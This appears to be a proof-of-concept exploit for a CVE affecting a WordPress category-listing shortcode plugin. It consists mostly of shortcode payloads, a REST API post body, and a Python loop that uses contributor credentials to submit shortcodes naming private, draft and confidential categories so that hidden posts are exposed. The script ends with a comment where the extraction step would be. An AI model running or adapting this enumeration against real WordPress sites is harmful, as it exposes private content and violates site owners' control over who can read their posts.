CVE-2025-11377

<!-- WordPress Post/Page Content --> [catlist] <!-- Specific category with all posts --> [catlist category_name="private-category"] <!-- Using shortcode in PHP template or via REST API --> <?php echo do_shortcode('[catlist]'); ?> <!-- XML-RPC or REST API exploitation --> <!-- POST /wp-json/wp/v2/posts/ --> { "content": "[catlist category_name='draft-category']", "status": "draft" } <!-- Automated enumeration script --> import requests target = 'http://vulnerable-site.com' categories = ['private', 'draft', 'protected', 'confidential'] for cat in categories: payload = f"[catlist category_name='{cat}']" # Send request with contributor-level auth response = requests.post( f'{target}/wp-json/wp/v2/posts/', json={'content': payload, 'status': 'draft'}, auth=('attacker_contributor', 'password') ) # Extract exposed content from response

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